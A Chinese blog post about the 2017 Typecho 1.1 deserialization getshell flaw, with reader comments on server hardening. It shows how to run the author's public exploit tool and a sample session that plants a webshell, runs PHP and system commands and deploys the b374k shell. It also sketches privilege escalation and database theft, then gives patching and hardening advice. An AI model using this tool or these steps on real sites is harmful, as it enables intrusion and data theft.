登录
  • 人们都希望被别人需要 却往往事与愿违
  • 在进度落后的项目中增加人手只会导致进度更加落后 @Fred Brooks (图灵奖得主 《人月神话》作者)

谈谈近期 Typecho 的漏洞 exploit 及预防措施

畅言 Benny 小土豆 10096 次浏览 3633 字 22 个评论
文章目录 [显示]

几天前(28 日好像是)Typecho 被爆出 getshell 漏洞,想想还是很可怕的。

噢对了,我忘记说了,本文仅供学习交流,请不要在未授权的环境中使用此工具。我图中的测试站,是我现搭建的 (对就是不想告诉大家我究竟有多少个域名和服务器…)…… 你就看那个主机名,miss-ed,思念还是错过,多么符合我的文风啊!

漏洞复现

服务器环境

nginx/1.9.5

PHP 7.0.22

mysql Ver 14.14 Distrib 5.5.48

Typecho 1.1 (17.4.24)(好像是 1013 还是 10 月 28 日之前的都有这个问题)

有没有人想问为什么是 Nginx 1.9.5 这么老的版本吗…… 唔

谈谈近期Typecho 的漏洞exploit及预防措施

真是没有比我还蠢的人了

利用条件:PHP 对 webroot 拥有写入权限,www 的 600 就够了。如果 Typecho 对目录没有写权限,那么…… 没得玩了。

利用步骤

GitHub 开源地址
  1. git clone https://github.com/BennyThink/Typecho_deserialization_exploit
  2. cd Typecho_deserialization_exploit
  3. python exp.ty

之后根据提示操作,示例输出:

root@qcloud:~/Typecho_deserialization_exploit# python exp.py
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>1
Input your target, i.e:http://localhost/ty
>https://example.com
Your target url is https://example.com
shell: https://example.com/p0.php
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>2
1 . https://example.com/p0.php Enter your target number:
>1
Enter your PHP code:
>echo 'pwned';
pwned
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>3
1 . https://example.com/p0.php Enter your target number:
>1
Enter your system commands:
>ls
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>4
1 . https://example.com/p0.php Enter your target number:
>1
visit https://example.com/b374k.php
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>

成功写入 webshell,第三步执行系统命令没有回显是因为我禁用了system()函数

谈谈近期Typecho 的漏洞exploit及预防措施

谈谈近期Typecho 的漏洞exploit及预防措施

由于运行 PHP 的用户是一个低权限的 non-login shell 用户 www,所以嘛…… 没有 SMB 那么爽的感觉了。当然 Windows 就没有这个说法了,说不定人品好,还有人是拿管理员运行的 PHP 呢…… 这个时候就可以有 mimikatz 了。

更进一步的玩法

只是一点点猜想,仅供参考

内核提权漏洞

通过phpinfo拿到系统信息,去 exploit 找对应的内核提权漏洞,想办法吧 www 提权成 root

脱库与跑路

通过读取 Typecho 的配置文件config.inc.php拿到数据库账号密码,塞满垃圾文件,脱库与跑路什么的;顺着搜搜有没有 MySQL 的什么安全漏洞可以利用、绕过。

报告给博主

对,这才是正经的嘛…… 当然了,那些连个联系方式也不留的、八百年不发一篇博文的、whois 查不到邮箱的、评论也不管的死灰一样的博客,那活该了。我也很无奈啊。

预防措施和一些建议

升级 Typecho 到最新的版本或者删除文件

升级 Typecho 到最新版本,或者删除install.phpinstall目录。暂时不能更新的,关站保平安吧。

使用 www、mysql 等 non-login shell 用户运行 Apache/Nginx、PHP、MySQL

千万不要拿 root 跑啊,这要是拿 root 跑了,那就和 SMB 漏洞是一样一样滴爽。

记得更新系统,不要使用已无支持的操作系统

EOL(End of Life)的就不要用了,没有安全更新,万一被人找到提权,那不就完蛋了吗。

举例说明,Windows XP,Windows 2003,Windows Vista,CentOS 5,Ubuntu 12.04 等等……

对于发行版来说,可以用 cron 来计划更新,比如说我是这么干的:

  1. 0 3 */3 * * apt update && apt upgrade -y

每隔三天的凌晨三点都会更新一波

尽可能的使用 Linux 当服务器

嗯…… 如果你用 Windows 的话,在这种情况下 webshell 就可以大显神通了……

配置 php.ini

配置open_basedir, 不让 PHP 程序访问本身目录以外的目录,比如说我是这么配置的:

  1. open_basedir=/home/wwwroot/dmesg.app:/tmp/:/proc/

并且如果不需要的话,那么就禁用一些比较危险的函数,比如说system()exec()

别没事干就 777

除非你懂得 777 是什么意思,知道你这次的 777 有何影响。

别说 777 了,任何更改文件目录(包括 web 目录)权限的操作都要三思而后行,尤其是某些特别敏感的文件,比如说如果某人的/etc/shadow的权限是 644(原本应该是 640),那么任何人都可以读取了……

开启 App Armor、SELinux 等

不好意思,这个我不太会玩…… 不过…… 很多人拿到一台 CentOS 都是…… 第一步…… 关闭 SELinux 的吧……

更多参考资料

ph0rse
joyqi
blogsir
b374k

总结

此次漏洞的影响还是比较大的,至少吧…… 攻击者能够拿到 webshell,再怎么也能拿到整个数据库的权限了。

哦对,trick or treat?

賢狼ホロ:? 羡慕高产(


文章版权归原作者所有丨本站默认采用 CC-BY-NC-SA 4.0 协议进行授权 |
转载必须包含本声明,并以超链接形式注明原作者和本文原始地址:
https://dmesg.app/typecho-exploit.html
喜欢 (9)
分享:-)
关于作者:
If you have any further questions, feel free to contact me in English or Chinese.
发表我的评论
取消评论

                     

去你妹的实名制!

  • 昵称 (必填)
  • 邮箱 (必填,不要邮件提醒可以随便写)
  • 网址 (选填)
(22) 个小伙伴在吐槽
  1. orz,偶然翻到这个文章,突然想起自己的服务器以前帮朋友挂着 typecho,然后去目录一看果然有马,幸好自己是用 apache 用户来运行 apache 的。。 顺便贴上马的内容
    crab2018-04-25 17:20 回复
    • orz,怎么 code 标签里面的东西不显示。。。
      crab2018-04-25 17:21 回复
    • 幸好用的是低权限的用户:-) 稍微改造一下就是一个大规模杀伤性武器
      code 里不显示可能是因为被过滤了,还是用 pastebin 吧。
      Benny 小土豆 2018-04-26 10:31 回复
  2. 自已改权限都用chmod +x之类的,然后......
    -- 偏执布偶君
    签到成功!签到时间:2017-11-10 18:45:43,每日打卡,生活更精彩哦~
    布偶君 2017-11-10 18:48 回复
    • ? 然后 然后呢?
      Benny 小土豆 2017-11-10 19:09 回复
      • 然后这是因为我不愿去记数字权限编号,我更喜欢符号权限。(就是chmod用 symbolic mode)
        chmod changes the file mode bits of each given file according to mode, which can be either a symbolic representation of changes to make, or an octal number representing the bit pattern for the new mode bits.

        这应该没什么问题吧。。。。。。(因为看文章和评论都用的数字权限编号)

        签到成功!签到时间:2017-11-10 19:18:16,每日打卡,生活更精彩哦~
        布偶君 2017-11-10 19:28 回复
        • 我觉得看情况吧,设置单个权限的变化一般就 rwx 选择了,多个一般就数字,每次还得默念 4 读 2 写 1 执行哈哈哈
          Benny 小土豆 2017-11-10 23:47
  3. php_admin_value open_basedir "/storage/data/wwwroot/blog/public_html/:/dev/shm/web/blog/" php_admin_value upload_tmp_dir "/dev/shm/web/blog/" php_admin_value session.save_path "/dev/shm/web/blog/" 我的是这样的。。。
    yandere2017-11-02 08:02 回复
    • 你在用tmpfs干嘛?
      Benny 小土豆 2017-11-02 08:53 回复
  4. 膜拜 dalao... 以前就感觉 php 什么的可以读取到系统目录的文件很危险了, 然而不知道怎么关闭...
    永远的萌新 2017-11-01 13:59 回复
    • open_basedir限制用户访问目录,然后禁用systemchroot等危险函数,去掉 webroot 对 PHP 的写入权限(一些特殊目录比如说上传目录排除)
      Benny 小土豆 2017-11-01 15:06 回复
      • 感谢 dalao~
        永远的萌新 2017-11-01 16:34 回复
  5. chmod 500 -v -R /web/blog/ 写点汉字吧,博主外语很捉鸡
    yandere2017-10-31 18:32 回复
    • 然后发现,图片无法上传了?? 其实有读就够了,图片缓存开个例外~
      Benny 小土豆 2017-10-31 18:40 回复
  6. 我的 /etc/shadow 权限是 000~
    依云 2017-10-31 17:56 回复
    • ? 我的天 要不要加个chattr +i
      Benny 小土豆 2017-10-31 18:19 回复
      • 不要,那样更新起来就不方便了~
        依云 2017-10-31 18:33 回复
        • 咱可以给 passwd 一个别名??
          Benny 小土豆 2017-10-31 18:39
  7. Arch : 默认没装 SELinux ,php 没禁用函数也没 open_basedir ??
    ホロ 2017-10-31 17:43 回复
    • 可执行 PHP 代码的目录能够使用 PHP 写入文件,本来就是一件极不安全的事嘛。参见 https://blog.lilydjwg.me/2017/6/1/wordpress-is-shit-wrt-security.209744.html
      依云 2017-10-31 17:58 回复
      • ? 按照大多数发行版默认的 0022,再加上安装时偷懒…… 往往都是给 webroot 了 w 权限??
        Benny 小土豆 2017-10-31 18:25 回复
    • 反正你也是 Pelican...??
      Benny 小土豆 2017-10-31 18:23 回复
您直接访问了本站! 莫非您记住了我的域名. 厉害~ 我倍感荣幸啊 嘿嘿